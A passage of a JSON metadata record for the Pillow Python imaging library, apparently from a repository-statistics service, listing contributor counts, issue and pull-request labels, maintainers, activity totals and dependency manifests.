t132":1,"rouxxx":1,"NataliAisha1347":1,"newfeatureengineer":1,"troygrosfield":1,"mirusu400":1,"ondrej-kvet":1,"aeisenbarth":1,"gaoxinge":1,"cobi-s":1,"neutrinoceros":1,"DervishD":1,"scarf005":1,"david-sen":1,"conceptfarm":1,"ChingKyleTIP":1,"richardtml":1,"pepperoni505":1,"wxy2077":1,"katia-katkat":1,"rgoubet":1,"3d-illusions":1,"HERIUN":1,"rabeemohsen":1,"LightSun":1,"daniKayran":1,"stweil":1,"Wangqi12138":1,"HectorsitoXD":1,"dseomn":1,"gounthar":1,"BertrandBordage":1,"Barcavin":1,"Jbgaming318":1,"poe7":1,"EstebenR":1,"PescheHelfer":1,"asmsuechan":1,"drj-snoco":1,"capfei":1,"jmgzt":1,"gtors":1,"ppearsonhutch":1,"jax-b":1,"marc-hb":1,"Artoria2e5":1,"xtlc":1,"mpyatishev":1,"sandeepgupta12":1,"mkowen1":1,"cjuracek":1,"Gamerns10s":1,"pontusj101":1,"rajveerb":1,"lx1054331851":1,"ReZeroS":1,"juhaszp95":1,"mahendrark":1,"tnorlund":1,"anis-agwan":1,"djhoese":1,"q1225":1,"eric-gitta-moore":1,"pvieito":1,"zhzyx":1,"ZianTT":1,"JacobHagberg":1,"SamuelWiet":1,"JoeYoung911":1,"adi-":1,"birgander2":1,"maltelorbach":1,"leakyH":1,"ReedGraff":1,"BastienCagna":1,"dhylands":1,"AmphibianDev":1,"jrknox1977":1,"aayushadhikari7":1,"HMAKT99":1,"lclbm":1,"BPplays":1,"H-A-M-G-E-R":1,"scaramallion":1,"sthen":1,"igoras1993":1,"andrey-hider":1,"pa-tna":1,"yantaozhao":1,"asudyn":1,"vharitonsky":1,"Rudloff":1,"ferozed":1,"soumen-ghosh":1,"TheNooB2706":1,"aidevmin":1,"SnorrenEnzo":1,"MAKOMO":1,"TomCasano":1,"CaledoniaProject":1,"liuchanganshan":1,"LeXofLeviafan":1,"heirecka":1,"MeggyCal":1,"ZOMGVTEK":1,"stevecj":1,"ZRunner":1,"CHC383":1,"iivvaall":1,"acdha":1,"manishp11":1,"obilaniu":1,"ecv80":1,"metebalci":1,"beruic":1,"senyai":1,"mkoeppe":1,"poormag":1,"selwin":1,"gcox":1,"mai1x9":1,"kamenik":1,"Timtaran":1,"mrmundt":1,"jmspereira":1,"tomgoddard":1,"NiekPas":1,"enomis-dev":1,"xioren":1,"ivanstepanovftw":1,"time4tea":1,"RajeevKushram":1,"wikiwen":1,"jvanderneutstulen":1,"DrLuke":1,"alexaryn":1,"matcool":1,"7ippo":1,"Coolgamerguy4793":1,"ArchangeGabriel":1,"ma-tongji":1,"jS5t3r":1,"tegandbiscuits":1,"ghoshben":1,"Intenzi":1,"BwL1289":1,"smallfish06":1,"matysek":1,"allisonkarlitskaya":1,"void4":1,"MVKozlov":1,"dziket":1,"maj113":1,"xalteropsx":1,"vdboor":1,"AeroDEmi":1,"vashek":1,"danielsamuels":1,"deliangyang":1,"dolfim-ibm":1,"javohirss":1,"rozniak":1,"lucatirel":1,"Khris777":1,"mgalgs":1,"zzjjbb":1,"R3dan":1,"GadgetSteve":1,"hyj1230":1,"bitsgalore":1,"Sushanti99":1,"blap-o":1,"spiiph":1,"jakirkham":1,"mygithubaccount12":1,"Filpin011":1,"mamome2021":1,"xiaotongniu":1,"arisolt":1,"tagelabs":1,"b0ssi":1,"baaziznasser":1,"paulsuh":1,"jpetazzo":1,"AbhinavGopal":1,"sonneveld":1,"Mindstan":1,"yexin123987":1,"philip-bl":1,"mgorny":1,"2blackbar":1,"Spartanjackwar":1,"MauroPfister":1,"PhilipYip1988":1,"PrathamDubey06":1,"Ganeshkumhar1":1,"ankit396":1,"madelinehayes":1,"marma":1,"AA-Turner":1,"frankwat":1,"larsga":1,"Kelketek":1,"camprevail":1,"Dangku":1,"adamjstewart":1,"ralokt":1,"agrron":1,"lindhobe":1,"ynikitenko":1,"MikiP98":1,"phpjunkie420":1,"KrokoNinja":1,"bekonRymkhanov":1,"DevilXD":1,"SakuMyl":1,"JordanPavlic":1,"jagerber48":1,"alexsilva":1,"novadev94":1,"ubitux":1,"jonathan-villanueva":1,"epou":1,"Piyushsawaldekar08":1,"RichardAntalik":1,"infinitepower18":1,"TTMaDe":1,"kai-draft":1,"caozhen-zen":1,"valerie-vallet":1,"zakajd":1,"AnkitAhlawat7742":1,"Kwpolska":1,"D-Chandrahas":1,"Bruddedsincephase3":1,"qazmlpok":1,"braher":1,"ssokolow":1,"dilipv09":1,"Divjyot":1,"Vermylion":1,"mszhanyi":1,"kevinptt0323":1,"bburtin":1,"xiemeilong":1,"lukasfolle":1,"glyph":1,"GitPavan123":1,"DhSufi":1,"vsavkin2018":1,"khaledmsm":1,"nhsamng":1,"johngrabner":1,"BenjaminOddou":1,"bwoodsend":1,"palxex":1,"cipri-tom":1,"ntninja":1,"sodul":1,"AngelDev06":1,"doko42":1,"lgeiger":1,"cbm755":1,"lennin-cp":1,"bsekachev":1,"YYH2913":1,"OmlineEditor":1,"sderinger":1,"akx":1,"billythegoat356":1,"ThiefMaster":1,"andrew-davie":1,"mzealey":1,"ViviLuD":1,"smathot":1,"vanschelven":1,"sliedes":1,"crbean":1,"deepakazad":1,"polkadottedwalrus":1,"ASulaymon":1,"bromano-oai":1,"biggestsonicfan":1,"universewill":1,"johnny7johnson":1,"lmmx":1,"HonzaCustomInk":1,"chepo92":1,"dkbarn":1,"RunDevelopment":1,"rahfar":1,"gbmerrall":1,"Windy2212":1,"tyohei":1,"thatfuckingbird":1,"loqs":1,"bagcivan":1,"Andrej730":1,"CendioHalim":1,"tomkins":1,"spillerrec":1,"mixmastamyk":1,"nkoerb":1,"akhmerov":1,"Ma7moud91":1,"sammycage":1,"thomasaarholt":1,"jonashaag":1,"marnanel":1,"pythondever":1,"johnfrancisgit":1,"vanviethieuanh":1,"MatthieuCMira":1,"venkataraja705":1,"anpr":1,"Terseus":1,"h-vetinari":1,"s-m-e":1,"makian123":1,"AnonymouX47":1,"Wayalis":1,"iconoclasthero":1,"IngeborgGjerde":1,"Askaniy":1,"superbonaci":1,"Joshix-1":1,"nightblade9":1,"vishal-tandel":1,"hjj-lmx":1,"lschaupp":1,"gbeales":1,"thekillgfx":1,"Thomas-2503":1,"liyong126":1,"bashirmindee":1,"robonrrd":1,"rockyko":1,"ericpauley":1,"mikeobr":1,"YueLengM":1,"patrickfournier":1,"ThomasDevoogdt":1,"allrobot":1,"dwvisser":1,"mnpica":1,"Rahul-AkaVector":1,"shahad2802":1,"jmerc77":1,"tanujjain":1,"jomey":1,"SerVB":1,"hswong3i":1,"elirnm":1,"ipa-bak":1,"gesellkammer":1,"fabienarnaud":1,"jedie":1,"machineonamission":1,"boosh":1,"Animenosekai":1,"jorge-chavez-salas":1,"JupyterJones":1,"FelixS90":1,"hmaarrfk":1,"aIligat0r":1,"martinleopold":1,"alanhamlett":1,"fangmartin":1,"gonzoMD":1,"Lucuz91":1,"abionics":1,"JC3":1,"shubham-scisar":1,"nedbat":1,"madprops":1,"finalcraftRu":1,"pablopla":1,"bool-dev":1,"itsvijaychoudhary":1,"Zaaaane":1,"dtenenba":1,"avmusat":1,"DeusAres":1,"siteng98":1,"joaohaas":1,"hwzjy01":1,"crobertsbmw":1,"bparzella":1,"AlexKubiesa":1,"lazakoa":1}},"pull_request_authors":{"table":{"radarhere":1734,"hugovk":216,"renovate[bot]":113,"Yay295":86,"nulano":68,"akx":49,"pre-commit-ci[bot]":48,"aclark4life":31,"wiredfool":28,"homm":26,"lysnikolaou":11,"freakboy3742":11,"bgilbert":9,"sofijazolotarev":8,"chuenchen309":5,"fdintino":4,"muhamedfazalps":4,"yoursunny":4,"kddnewton":4,"AdianKozlica":4,"epou":3,"stefan6419846":3,"lukegb":3,"mgorny":3,"CTimmerman":3,"dependabot[bot]":3,"mrbean-bremen":2,"gdesmar":2,"tacaswell":2,"mattzamora":2,"codev8services":2,"cubanpit":2,"gaoflow":2,"AsfhtgkDavid":2,"Cirras":2,"r-barnes":2,"void4":2,"jovanovicisidora":2,"drhead":2,"mamg22":2,"florath":2,"ajslater":2,"evanmiller":2,"hchargois":2,"jsbueno":2,"johnnygitgud":2,"nyxst4ck":2,"yngvem":2,"zakajd":2,"HarmvandenBrand":2,"nsd2004":2,"myagmartseren":2,"twolife":2,"jvoisin":2,"eylenburg":2,"dutcu":2,"eyedav":2,"Knio":2,"nik012003":2,"bigcat88":2,"Kyliroco":2,"cdce8p":2,"Rossolson":2,"fjhenigman":2,"cclauss":2,"PavlNekrasov":2,"dofuuz":2,"zshchun":2,"lgeiger":2,"AryazE":2,"esoma":2,"REDxEYE":2,"lajiyuan":2,"srittau":2,"neutrinoceros":2,"LuShadowX":2,"roshanData":2,"bysiber":2,"ihitamandal":2,"jorenham":2,"geeno16":1,"mfitzp":1,"armorbreak001":1,"Krishnachaitanyakc":1,"icanhasmath":1,"gounthar":1,"matheusmpff":1,"delta1513":1,"veeceey":1,"wszqkzqk":1,"olokelo":1,"mokashang":1,"enomis-dev":1,"mitre88":1,"TheNooB2706":1,"mastermatt":1,"Marcelo-MConti":1,"glenn-jocher":1,"yankeguo":1,"mayeut":1,"jlwoolf":1,"kerozin":1,"deliangyang":1,"surgan12":1,"bitplane":1,"neiljp":1,"hdimer":1,"rrcgat":1,"ttotti0903":1,"hmaarrfk":1,"Gfecito":1,"nopperl":1,"koraduba7":1,"usama23115-collab":1,"ikait":1,"tomgoddard":1,"Mengxi-Xu":1,"EwoutH":1,"adamjstewart":1,"pctablet505":1,"hholst80":1,"nightcityblade":1,"pranjalm37":1,"Org0220":1,"83Gh0st":1,"zhiyuanouyang":1,"n3011":1,"jvanderneutstulen":1,"jmarianer":1,"nevercodecorrect":1,"ApaarRaina":1,"thisismypassport":1,"ritsth":1,"mficzel":1,"DWesl":1,"bencevans":1,"chewi":1,"markmentovai":1,"mrKazzila":1,"endreszabo":1,"WildRackoon":1,"F30":1,"liftoff":1,"lazerg":1,"jbjd":1,"wx00":1,"k128":1,"ZachNagengast":1,"H4M5TER":1,"scaramallion":1,"aayushadhikari7":1,"espressolee":1,"DSeaStar":1,"amarz45":1,"commodo":1,"RaphaelVRossi":1,"VenishPaneliya":1,"daimrod":1,"e98cuenc":1,"smason":1,"geethasbca25-alt":1,"etienned":1,"392781":1,"HansBug":1,"abhi-0203":1,"CGDogan":1,"danigm":1,"him2him2":1,"mtreinish":1}},"host":{"table":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-08-23T00:00:07.901Z","repositories_count":16293956,"issues_count":42264781,"pull_requests_count":134582680,"authors_count":11513320,"icon_url":"https://github.com/github.png","host_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories","owners_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/owners","authors_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors"}},"past_year_issue_labels_count":{"table":{"Awaiting OP Action":8,"TIFF":6,"Release":6,"Stale":6,"Linux":4,"Testing":3,"Palette":3,"Build":3,"JPEG":3,"Enhancement":2,"Installation":1,"NumPy":1,"Screen grab":1,"Type hints":1,"WebP":1,"🤖-assisted":1,"Windows":1,"BMP":1,"Cleanup":1,"Conversion":1,"Deprecation":1,"Documentation":1,"Font Rendering":1,"Fonts":1,"Free-threading":1,"GIF":1}},"past_year_pull_request_labels_count":{"table":{"Dependency":48,"Testing":46,"Documentation":31,"🤖-assisted":29,"Cleanup":28,"Performance":26,"Palette":15,"macOS":10,"Type hints":10,"TIFF":9,"Needs Rebase":6,"automerge":6,"BMP":5,"Windows":4,"Build":4,"changelog: skip":4,"Deprecation":4,"Packaging":4,"Linux":3,"Enhancement":3,"Memory":3,"WebP":3,"Removal":3,"License":2,"Free-threading":2,"NumPy":2,"Duplicate":2,"Conversion":2,"JPEG":2,"Screen grab":2,"Invalid":1,"Ghostscript":1,"Bug":1,"Fonts":1,"Exif":1,"Release":1}},"past_year_issue_author_associations_count":{"table":{"NONE":53,"CONTRIBUTOR":10,"MEMBER":9}},"past_year_pull_request_author_associations_count":{"table":{"MEMBER":250,"CONTRIBUTOR":97,"NONE":43}},"past_year_issue_authors":{"table":{"radarhere":8,"nevercodecorrect":4,"CTimmerman":3,"denilsonsa":2,"NogginBops":1,"neutrinoceros":1,"mmemoo":1,"mamome2021":1,"malaterre":1,"lucalista":1,"loqs":1,"lmmx":1,"lgeiger":1,"kulikjak":1,"KrokoNinja":1,"kmilos":1,"aayushadhikari7":1,"paulsuh":1,"petsuter":1,"pontusj101":1,"ProfessorHubble":1,"qazmlpok":1,"rathaROG":1,"ReedGraff":1,"RolandKaechele":1,"Romain-Thomas-Shef":1,"sl2c":1,"smallbrian":1,"Spartanjackwar":1,"tomkins":1,"za3k":1,"aclark4life":1,"alexaryn":1,"ankit396":1,"billythegoat356":1,"bitsgalore":1,"boosh":1,"bromano-oai":1,"bungoume":1,"BwL1289":1,"CHC383":1,"codingjoe":1,"ctkhanhly":1,"defgsus":1,"demoutrei-work":1,"DervishD":1,"dogtopus":1,"dwt":1,"elemental-admin-dev":1,"espressolee":1,"felixonmars":1,"freakboy3742":1,"gcox":1,"gounthar":1,"heirecka":1,"hholst80":1,"HMAKT99":1,"jmerc77":1,"kdswle":1}},"past_year_pull_request_authors":{"table":{"radarhere":209,"akx":35,"hugovk":32,"renovate[bot]":23,"pre-commit-ci[bot]":8,"aclark4life":7,"chuenchen309":5,"muhamedfazalps":4,"nyxst4ck":2,"fjhenigman":2,"johnnygitgud":2,"jorenham":2,"bysiber":2,"Rossolson":2,"gaoflow":2,"myagmartseren":2,"lgeiger":2,"ajslater":2,"wiredfool":2,"LuShadowX":2,"Mengxi-Xu":1,"mitre88":1,"mokashang":1,"mayeut":1,"matheusmpff":1,"markmentovai":1,"83Gh0st":1,"nevercodecorrect":1,"nightcityblade":1,"pctablet505":1,"pranjalm37":1,"ritsth":1,"usama23115-collab":1,"veeceey":1,"VenishPaneliya":1,"WildRackoon":1,"wszqkzqk":1,"zhiyuanouyang":1,"aayushadhikari7":1,"abhi-0203":1,"amarz45":1,"ApaarRaina":1,"armorbreak001":1,"bencevans":1,"bitplane":1,"commodo":1,"CTimmerman":1,"danigm":1,"DSeaStar":1,"endreszabo":1,"espressolee":1,"freakboy3742":1,"geeno16":1,"geethasbca25-alt":1,"gounthar":1,"hdimer":1,"hholst80":1,"him2him2":1,"hmaarrfk":1,"Krishnachaitanyakc":1,"lazerg":1,"lukegb":1,"Marcelo-MConti":1}},"maintainers":[{"table":{"login":"radarhere","count":1753,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/radarhere"}},{"table":{"login":"hugovk","count":236,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/hugovk"}},{"table":{"login":"aclark4life","count":44,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/aclark4life"}},{"table":{"login":"wiredfool","count":32,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/wiredfool"}},{"table":{"login":"homm","count":28,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/homm"}},{"table":{"login":"mficzel","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mficzel"}}],"active_maintainers":[{"table":{"login":"radarhere","count":217,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/radarhere"}},{"table":{"login":"hugovk","count":32,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/hugovk"}},{"table":{"login":"aclark4life","count":8,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/aclark4life"}},{"table":{"login":"wiredfool","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/wiredfool"}}]}},"events":{"total":{"CommitCommentEvent":8,"CreateEvent":69,"DeleteEvent":67,"DiscussionEvent":1,"ForkEvent":184,"IssueCommentEvent":1633,"IssuesEvent":381,"PullRequestEvent":1061,"PullRequestReviewCommentEvent":487,"PullRequestReviewEvent":560,"PushEvent":676,"ReleaseEvent":5,"WatchEvent":1012},"last_year":{"CommitCommentEvent":4,"CreateEvent":27,"DeleteEvent":30,"DiscussionEvent":1,"ForkEvent":46,"IssueCommentEvent":230,"IssuesEvent":60,"PullRequestEvent":252,"PullRequestReviewCommentEvent":95,"PullRequestReviewEvent":106,"PushEvent":286,"ReleaseEvent":2,"WatchEvent":195}},"keywords":["c","cross-platform","image","image-processing","pil","pillow","python","python-3"],"dependencies":[{"ecosystem":"actions","filepath":".github/workflows/cifuzz.yml","sha":null,"kind":"manifest","created_at":"2023-01-13T16:22:44.913Z","updated_at":"2023-01-13T16:22:44.913Z","repository_link":"https://github.com/python-pillow/Pillow/blob/main/.github/workflows/cifuzz.yml","dependencies":[{"id":6890289692,"package_name":"google/oss-fuzz/infra/cifuzz/actions/build_fuzzers","ecosystem":"actions","requirements":"master","direct":true,"kind":"composite","optional":false},{"id":6890289693,"package_name":"google/oss-fuzz/infra/cifuzz/actions/run_fuzzers","ecosystem":"actions","requirements":"master","direct":true,"kind":"composite","optional":false},{"id":6890289694,"package_name":"actions/upload-artifact","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/lint.yml","sha":null,"kind":"manifest","created_at":"2023-01-13T16:22:45.083Z","updated_at":"2023-01-13T16:22:45.083Z","repository_link":"https://github.com/python-pillow/Pillow/blob/main/.github/workflows/lint.yml","dependencies":[{"id":6890290947,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":6890290950,"package_name":"actions/cache","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":6890290951,"package_name":"actions/setup-python","ecosystem":"actions","requirements":"v4","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/release-drafter.yml","sha":null,"kind":"manifest","created_at":"2023-01-13T16:22:45.206Z","updated_at":"2023-01-13T16:22:45.206Z","repository_link":"https://github.com/python-pillow/Pillow/blob/main/.github/workflows/release-drafter.yml","dependencies":[{"id":6890291128,"package_name":"release-drafter/release-drafter","ecosystem":"actions","requirements":"v5","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/stale.yml","sha":null,"kind":"manifest","created_at":"2023-01-13T16:22:45.322Z","updated_at":"2023-01-13T16:22:45.322Z","repository_link":"https://github.com/python-pillow/Pillow/blob/main/.github/workflows/stale.yml","dependencies":[{"id":6890291322,"package_name":"actions/stale","ecosystem":"actions","requirements":"v7","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/test-docker.yml","sha":null,"kind":"manifest","created_at":"2023-01-13T16:22:45.484Z","updated_at":"2023-01-13T16:22:45.484Z","repository_link":"https://github.com/python-pillow/Pillow/blob/main/.github/workflows/test-docker.yml","dependencies":[{"id":6890291781,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":6890291782,"package_name":"codecov/codecov-action","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/test-mingw.yml","sha":null,"kind":"manifest","created_at":"2023-01-13T16:22:45.530Z","updated_at":"2023-01-13T16:22:45.530Z","repository_link":"https://github.com/python-pillow/Pillow/blob/main/.github/workflows/test-mingw.yml","dependencies":[{"id":6890291826,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":6890291827,"package_name":"codecov/codecov-action","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/test-valgrind.yml","sha":null,"kind":"manifest","created_at":"2023-01-13T16:22:45.736Z","updated_at":"2023-01-13T16:22:45.736Z","repository_link":"https://github.com/python-pillow/Pillow/blob/main/.github/workflows/test-valgrind.yml","dependencies":[{"id":6890292274,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/test-windows.yml","sha":null,"kind":"manifest","created_at":"2023-01-13T16:22:46.025Z","updated_at":"2023-01-13T16:22:46.025Z","repository_link":"https://github.com/python-pillow/Pillow/blob/main/.github/workflows/test-windows.yml","dependencies":[{"id":6890293378,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":6890293381,"package_name":"actions/setup-python","ecosystem":"actions","requirements":"v4","direct":true,"kind":"composite","optional":false},{"id":6890293382,"package_name":"actions/cache","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":6890293384,"package_name":"actions/upload-artifact","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":6890293385,"package_name":"codecov/codecov-action","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/test.yml","sha":null,"kind":"manifest","created_at":"2023-01-13T16:22:46.068Z","updated_at":"2023-01-13T16:22:46.068Z","repository_link":"https://github.com/python-pillow/Pillow/blob/main/.github/workflows/test.yml","dependencies":[{"id":6890294158,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":6890294159,"package_name":"actions/setup-python","ecosystem":"actions","requirements":"v4","direct":true,"kind":"composite","optional":false},{"id":6890294160,"package_name":"actions/upload-artifact","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":6890294161,"package_name":"codecov/codecov-action","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/docs.yml","sha":null,"kind":"manifest","created_at":"2023-07-06T13:31:36.855Z","updated_at":"2023-07-06T13:31:36.855Z","repository_link":"https://github.com/python-pillow/Pillow/blob/main/.github/workflows/docs.yml","dependencies":[{"id":11158265774,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":11158265775,"package_name":"actions/setup-python","ecosystem":"actions","requirements":"v4","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/wheels.yml","sha":null,"kind":"manifest","created_at":"2023-11-28T11:45:19.014Z","updated_at":"2023-11-28T11:45:19.014Z","repository_link":"https://github.com/python-pillow/Pillow/blob/main/.github/workflows/wheels.yml","dependencies":[{"id":14775298923,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v4","direct":true,"kind":"composite","optional":false},{"id":14775298926,"package_name":"pypa/cibuildwheel","ecosystem":"actions","requirements":"v2.16.2","direct":true,"kind":"composite","optional":false},{"id":14775298930,"package_name":"actions/upload-artifact","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":14775298933,"package_name":"actions/setup-python","ecosystem":"actions","requirements":"v4","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"pypi","filepath":".ci/requirements-cibw.txt","sha":null,"kind":"manifest","created_at":"2023-12-02T11:37:27.665Z","updated_at":"2023-12-02T11:37:27.665Z","repository_link":"https://github.com/python-pillow/Pillow/blob/main/.ci/requirements-cibw.txt","dependencies":[{"id":14856023190,"package_name":"cibuildwheel","ecosystem":"pypi","requirements":"==2.16.2","direct":true,"kind":"runtime","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/benchmark.yml","sha":null,"kind":"manifest","created_at":"2026-08-10T00:33:32.531Z","updated_at":"2026-08-10T00:33:32.531Z","repository_link":"https://github.com/python-pillow/Pillow/blob/main/.github/workflows/benchmark.yml","dependencies":[]},{"ecosystem":"homebrew","filepath":".github/workflows/Brewfile","sha":null,"kind":"manifest","created_at":"2026-08-10T00:33:34.548Z","updated_at":"2026-08-10T00:33:34.548Z","repository_link":"https://github.com/python-pillow/Pillow/blob/main/.github/workflows/Brewfile","dependencies":[{"id":26013259303,"package_name":"aom","ecosystem":"homebrew","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":26013259304,"package_name":"dav1d","ecosystem":"homebrew","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":26013259503,"package_name":"freetype","ecosystem":"homebrew","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":26013259900,"package_name":"ghostscript","ecosystem":"homebrew","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":26013259901,"package_name":"jpeg-turbo","ecosystem":"homebrew","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":26013259902,"package_name":"libimagequant","ecosystem":"homebrew","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":26013260080,"package_name":"libraqm","ecosystem":"homebrew","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":26013260081,"package_name":"libtiff","ecosystem":"homebrew","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":26013260082,"package_name":"little-cms2","ecosystem":"homebrew","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":26013260083,"package_name":"openjpeg","ecosystem":"homebrew","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":26013260086,"package_name":"rav1e","ecosystem":"homebrew","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":26013260087,"package_name":"svt-av1","ecosystem":"homebrew","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":26013260088,"package_name":"webp","ecosystem":"homebrew","requirements":"*","direct":true,"kind":"runtime","optional":false}]},{"ecosystem":"pypi","filepath":".ci/requirements-sbom.txt","sha":null,"kind":"manifest","created_at":"2026-08-10T00:33:35.340Z","updated_at":"2026-08-10T00:33:35.340Z","repository_link":"https://github.com/python-pillow/Pillow/blob/main/.ci/requirements-sbom.txt","dependencies":[{"id":26013261819,"package_name":"check-jsonschema","ecosystem":"pypi","requirements":"==0.37.4","direct":true,"kind":"runtime","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/test-valgrind-memory.yml","sha":null,"kind":"manifest","created_at":"2025-12-25T00:02:50.043Z","updated_at":"2025-12-25T00:02:50.043Z","repository_link":"https://github.com/python-pillow/Pillow/blob/main/.github/workflows/test-valgrind-memory.yml","dependencies":[{"id":25777617815,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v6","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"pypi","filepath":".ci/requirements-mypy.txt","sha":null,"kind":"manifest","created_at":"2025-12-25T00:02:50.157Z","updated_at":"2025-12-25T00:02:50.157Z","repository_link":"https://github.com/python-pillow/Pillow/blob/main/.ci/requirements-mypy.txt","dependencies":[{"id":25777617816,"package_name":"mypy","ecosystem":"pypi","requirements":"==1.19.0","direct":true,"kind":"runtime","optional":false},{"id":25777617820,"package_name":"arro3-compute","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":25777617824,"package_name":"arro3-core","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":25777617825,"package_name":"IceSpringPySideStubs-PyQt6","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":25777617826,"package_name":"IceSpringPySideStubs-PySide6","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":25777617827,"package_name":"ipython","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":25777617828,"package_name":"numpy","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":25777617839,"package_name":"packaging","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":25777617840,"package_name":"pyarrow-stubs","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":25777617845,"package_name":"pybind11","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":25777617859,"package_name":"pytest","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":25777617860,"package_name":"sphinx","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":25777617870,"package_name":"types-atheris","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":25777617877,"package_name":"types-defusedxml","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":25777617883,"package_name":"types-olefile","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":25777617892,"package_name":"types-setuptools","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false}]}],"score":36.857100537198,"created_at":"2025-09-03T16:36:24.801Z","updated_at":"2026-08-23T22:06:39.782Z","avatar_url":"https://github.com/python-pillow.png","language":"Python","codemeta":null,"publiccode":null,"project_url":"https://summary.ecosyste.ms/api/v1/projects/364115","html_url":"https://summary.ecosyste.ms/projects/364115"}